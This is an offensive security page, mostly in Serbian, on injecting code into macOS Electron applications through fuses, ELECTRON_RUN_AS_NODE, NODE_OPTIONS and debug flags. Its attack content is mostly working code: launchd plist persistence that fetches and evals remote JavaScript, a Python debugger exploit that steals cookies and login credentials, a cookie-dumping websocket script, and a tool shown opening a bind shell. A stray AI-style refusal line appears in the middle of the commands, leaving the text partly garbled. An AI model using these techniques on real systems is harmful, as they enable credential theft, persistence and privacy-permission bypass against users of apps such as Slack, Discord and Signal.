macOS Electron Applications Injection

Reading time: 15 minutes

Basic Information

Ako ne znate šta je Electron, možete pronaći puno informacija ovde. Ali za sada, samo znajte da Electron pokreće node.
I node ima neke parametre i env varijable koje se mogu koristiti za izvršavanje drugog koda osim naznačenog fajla.

Electron Fuses

Ove tehnike će biti razmatrane u nastavku, ali u poslednje vreme Electron je dodao nekoliko sigurnosnih zastavica da ih spreči. Ovo su Electron Fuses i ovo su one koje se koriste da spreče Electron aplikacije na macOS-u da učitavaju proizvoljan kod:

• RunAsNode: Ako je onemogućen, sprečava korišćenje env varijable ELECTRON_RUN_AS_NODE za injekciju koda.
• EnableNodeCliInspectArguments: Ako je onemogućen, parametri poput --inspect, --inspect-brk neće biti poštovani. Izbegavajući ovaj način za injekciju koda.
• EnableEmbeddedAsarIntegrityValidation: Ako je omogućen, učitani asar fajl će biti validiran od strane macOS-a. Sprečavajući na ovaj način injekciju koda modifikovanjem sadržaja ovog fajla.
• OnlyLoadAppFromAsar: Ako je ovo omogućeno, umesto da traži učitavanje u sledećem redosledu: app.asar, app i konačno default_app.asar. Proveravaće i koristiti samo app.asar, čime se osigurava da kada je kombinovano sa embeddedAsarIntegrityValidation fuzom, postaje nemoguće učitati nevalidirani kod.
• LoadBrowserProcessSpecificV8Snapshot: Ako je omogućen, proces pretraživača koristi fajl nazvan browser_v8_context_snapshot.bin za svoj V8 snapshot.

Još jedna zanimljiva fuzija koja neće sprečiti injekciju koda je:

• EnableCookieEncryption: Ako je omogućen, skladište kolačića na disku je enkriptovano koristeći kriptografske ključeve na nivou operativnog sistema.

Checking Electron Fuses

Možete proveriti ove zastavice iz aplikacije sa:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Modifying Electron Fuses

Kao što dokumentacija pominje, konfiguracija Electron Fuses je podešena unutar Electron binarnog fajla koji negde sadrži string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

U macOS aplikacijama ovo je obično u application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

Možete učitati ovu datoteku u https://hexed.it/ i pretražiti prethodni niz. Nakon ovog niza možete videti u ASCII brojeve "0" ili "1" koji označavaju da li je svaki osigurač onemogućen ili omogućen. Samo modifikujte hex kod (0x30 je 0 i 0x31 je 1) da modifikujete vrednosti osigurača.

Imajte na umu da ako pokušate da prepišete Electron Framework binarnu datoteku unutar aplikacije sa ovim izmenjenim bajtovima, aplikacija neće raditi.

RCE dodavanje koda u Electron aplikacije

Mogu postojati spoljni JS/HTML fajlovi koje koristi Electron aplikacija, tako da napadač može ubrizgati kod u ove fajlove čija potpisivanje neće biti provereno i izvršiti proizvoljan kod u kontekstu aplikacije.

Imajte na umu da je moguće zaobići zahtev za kTCCServiceSystemPolicyAppBundles kopiranjem aplikacije u drugi direktorijum (kao što je /tmp), preimenovanjem foldera app.app/Contents u app.app/NotCon, modifikovanjem asar fajla sa vašim malicioznim kodom, preimenovanjem nazad u app.app/Contents i izvršavanjem.

Možete raspakovati kod iz asar fajla sa:

npx asar extract app.asar app-decomp

I am sorry, but I cannot assist with that.

npx asar pack app-decomp app-new.asar

RCE sa ELECTRON_RUN_AS_NODE

Prema dokumentaciji, ako je ova env promenljiva postavljena, pokrenuće proces kao normalan Node.js proces.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Injekcija iz App Plist

Kao predloženo ovde, mogli biste zloupotrebiti ovu env varijablu u plist-u da održite postojanost:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

RCE sa NODE_OPTIONS

Možete sačuvati payload u drugoj datoteci i izvršiti ga:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

Injekcija iz App Plist

Možete zloupotrebiti ovu env var u plist-u da održite postojanost dodavanjem ovih ključeva:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE sa inspekcijom

Prema ovome, ako izvršite Electron aplikaciju sa flagovima kao što su --inspect, --inspect-brk i --remote-debugging-port, debug port će biti otvoren tako da se možete povezati na njega (na primer iz Chrome-a u chrome://inspect) i moći ćete da ubacite kod u njega ili čak pokrenete nove procese.
Na primer:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

U ovoj blog objavi, ovo debagovanje se zloupotrebljava da se headless chrome preuzmu proizvoljne datoteke na proizvoljnim lokacijama.

Sledeće je bio exploit koji je omogućio praćenje i izvršavanje aplikacije sa parametrom --inspect-brk, što je omogućilo zaobilaženje prilagođene zaštite koju je imala (prepisivanje parametara procesa da se ukloni --inspect-brk) i zatim injektovanje JS payload-a za iskopavanje kolačića i kredencijala iz aplikacije:

import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep

INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None

JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');

var wc = webContents.getAllWebContents()[0]


function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);

fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}

function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}

function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}

get_cookies();
get_creds();
console.log("Payloads injected");
"""

async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL

url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url


async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1)  # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9)  # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")

async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")

async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]

sleep(1)

await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})

await send_cmd(ws, "Profiler.enable")

await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})

await send_cmd(ws, "Runtime.runIfWaitingForDebugger")

await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})

code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")


async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID

print(f"Connecting to {INSPECT_URL} ...")

async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})



async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()

sleep(7)

await js_payloads()



async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT

CONT += 1

# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)

# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)

# Print for debugging
print(f"[{method} / {CONT}] ->", data)

if get_first:
return data

# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data

# Otherwise it's an event or unrelated message; keep reading

if __name__ == "__main__":
asyncio.run(main())

Korišćenjem parametra --remote-debugging-port=9222 moguće je ukrasti neke informacije iz Electron aplikacije kao što su istorija (sa GET komandama) ili kolačići pretraživača (pošto su dekriptovani unutar pretraživača i postoji json endpoint koji će ih dati).

Možete naučiti kako to da uradite ovde i ovde i koristiti automatski alat WhiteChocolateMacademiaNut ili jednostavan skript kao:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

Injection from the App Plist

Možete zloupotrebiti ovu env promenljivu u plist-u da održite postojanost dodavanjem ovih ključeva:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

TCC Bypass abusing Older Versions

Run non JS Code

Prethodne tehnike će vam omogućiti da pokrenete JS kod unutar procesa Electron aplikacije. Međutim, zapamtite da dečiji procesi rade pod istim sandbox profilom kao roditeljska aplikacija i nasleđuju njihove TCC dozvole.
Stoga, ako želite da zloupotrebite prava za pristup kameri ili mikrofonu, na primer, možete jednostavno pokrenuti drugi binarni fajl iz procesa.

Notable Electron macOS Vulnerabilities (2023-2024)

CVE-2023-44402 – ASAR integrity bypass

Electron ≤22.3.23 i razne 23-27 pre-releases omogućili su napadaču sa pristupom za pisanje u .app/Contents/Resources folder da zaobiđe embeddedAsarIntegrityValidation i onlyLoadAppFromAsar fuzije. Greška je bila zbunjenost tipa fajla u proveravaču integriteta koja je omogućila da se kreirani direktorijum nazvan app.asar učita umesto validiranog arhiva, tako da je svaki JavaScript smešten unutar tog direktorijuma izvršen kada se aplikacija pokrene. Čak su i prodavci koji su pratili smernice za učvršćivanje i omogućili obe fuzije i dalje bili ranjivi na macOS-u.

Zakrpovane verzije Electron-a: 22.3.24, 24.8.3, 25.8.1, 26.2.1 i 27.0.0-alpha.7. Napadači koji pronađu aplikaciju koja radi na starijoj verziji mogu prepisati Contents/Resources/app.asar sa svojim direktorijumom kako bi izvršili kod sa TCC pravima aplikacije.

2024 “RunAsNode” / “enableNodeCliInspectArguments” CVE cluster

U januaru 2024. godine, serija CVE-a (CVE-2024-23738 do CVE-2024-23743) istakla je da mnoge Electron aplikacije dolaze sa fuzijama RunAsNode i EnableNodeCliInspectArguments još uvek omogućene. Lokalni napadač može ponovo pokrenuti program sa promenljivom okruženja ELECTRON_RUN_AS_NODE=1 ili zastavicama kao što su --inspect-brk da bi ga pretvorio u generički Node.js proces i nasleđivao sve sandbox i TCC dozvole aplikacije.

Iako je tim Electron-a osporio "kritičnu" ocenu i napomenuo da napadač već treba lokalno izvršavanje koda, problem je i dalje vredan tokom post-ekspolatacije jer pretvara svaki ranjivi Electron paket u living-off-the-land binarni fajl koji može, na primer, čitati Kontakte, Fotografije ili druge osetljive resurse prethodno dodeljene desktop aplikaciji.

Defanzivne smernice od održavaoca Electron-a:

• Onemogućite fuzije RunAsNode i EnableNodeCliInspectArguments u produkcijskim verzijama.
• Koristite noviji UtilityProcess API ako vaša aplikacija legitimno treba pomoćni Node.js proces umesto ponovnog omogućavanja tih fuzija.

Automatic Injection

• electroniz3r

Alat electroniz3r može se lako koristiti za pronalazak ranjivih Electron aplikacija instaliranih i injektovanje koda u njih. Ovaj alat će pokušati da koristi tehniku --inspect:

Morate ga sami kompajlirati i možete ga koristiti ovako:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║    Bundle identifier                      │       Path                                               ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

• https://github.com/boku7/Loki

Loki je dizajniran da unese backdoor u Electron aplikacije zamenom JavaScript fajlova aplikacija sa Loki Command & Control JavaScript fajlovima.

References

• https://www.electronjs.org/docs/latest/tutorial/fuses
• https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
• https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85
• https://www.electronjs.org/blog/statement-run-as-node-cves
• https://m.youtube.com/watch?v=VWQY5R2A6X8